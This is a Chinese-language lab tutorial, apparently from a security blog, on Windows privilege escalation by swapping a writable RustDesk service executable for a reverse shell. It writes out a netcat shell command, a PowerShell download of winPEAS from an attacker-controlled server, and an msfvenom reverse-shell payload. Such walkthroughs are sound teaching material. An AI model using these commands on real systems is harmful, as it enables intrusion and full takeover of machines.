Windows 权限提升——基于服务目录写入的权限

科技   2024-10-30 12:39   广东  

基于服务目录写入的权限

在利用该服务之前,我们将自己创建易受攻击的机器并执行利用。

让我们开始吧

安装任何远程桌面应用程序,我们将安装“RustDesk”应用程序,运行该应用程序一次并关闭它。

让我们检查是否有任何正常的用户帐户

$net user

然后检查“测试”用户是否属于任何管理组。“测试”用户不应该是管理组的一部分。

$net user test


向您想要执行权限提升的用户授予权限,在这里我们将授予“测试”用户权限。

Right Click on RustDesk folder → Security → Edit → Add → Advance → Find Now → Select "test" user

授予“测试”用户全部权限,现在“测试”用户具有服务目录的写权限。

现在设置部分已经完成。

初始访问

使用“测试”用户打开命令提示符。

在您的机器中找到 Netcat 可执行文件。

让我们使用 netcat 抛出一个 shell。

假设我们利用了一项服务并获得了初始 shell

$nc.exe -e cmd.exe <ip_address> <port_number>

让我们执行窗口特权升级攻击

(基于权限的服务目录写入)

成功获取初始shell

现在问题来了,当您有了初始 shell 时,您将在 Windows 操作系统中做什么。

第一件事就是毫不犹豫地上传winpeas 。

启动一个python服务器,并在windows系统中下载winpeas。

$powershell -c wget http://192.168.29.219:8001/winPEASx64.exe -OutFile win.exe

现在运行系统中下载的winpeas ie。

这里我们感兴趣的是“已安装的应用程序 [All Access]”

AUTO_START — 系统启动/重启后服务也将重新启动。

BINARY_PATH_GROP — 服务可执行路径。

SERVICE_START_NAME 是 LocalSystem,表示服务以最高权限运行。

这里我们无法启动/停止该服务。

但是我们可以在服务可执行目录中写入。

那么,让我们从“msfvenom”生成一个有效载荷。

$msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.29.219 lport=5000 -f exe > shell.exe

我们将把上述有效负载写入 RustDesk 可执行文件。

现在的问题是,我们如何启动该服务?

我们尝试了与之前的漏洞类似的方法来重新启动服务,但我们的访问被拒绝。

https://medium.com/@anandnikhil33/windows-privilege-escalation-8214ceaf4db8

我们注意到服务处于AUTO_START模式

让我们检查一下我们是否有权重启系统

在下面的 poc“SeSutdownPrivilege”中显示已禁用,但它默认是启用的,所以请忽略它。

导航到“RustDesk”可执行路径。

我们将上述有效负载下载到 RustDesk 可执行目录。

每当任何服务处于运行状态,并且其可执行文件正在使用时,如果您尝试写入任何内容,那么它会提示“该进程无法访问该文件,因为该文件正在被另一个进程使用”。

现在我们将使用“重命名”,我们已经重命名了我们的可执行文件。

请注意,现在我们没有任何名为“rustdesk.exe”的文件

将 shell.exe 复制为 ruskdesk.exe 的名称,如果有人再次使用该文件,我们将获得反向 shell。

这是我们在基于权限的服务目录写入中必须遵循的方法

我们重命名了正在运行的服务可执行文件,并在上面写入我们的文件

现在“Rustdesk”官方路径就是我们的恶意可执行文件

如何利用这一点?

我们必须重启系统

重启系统

通过使用反向 shell 负载替换服务可执行文件并重新启动服务,成功获取 shell。


感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章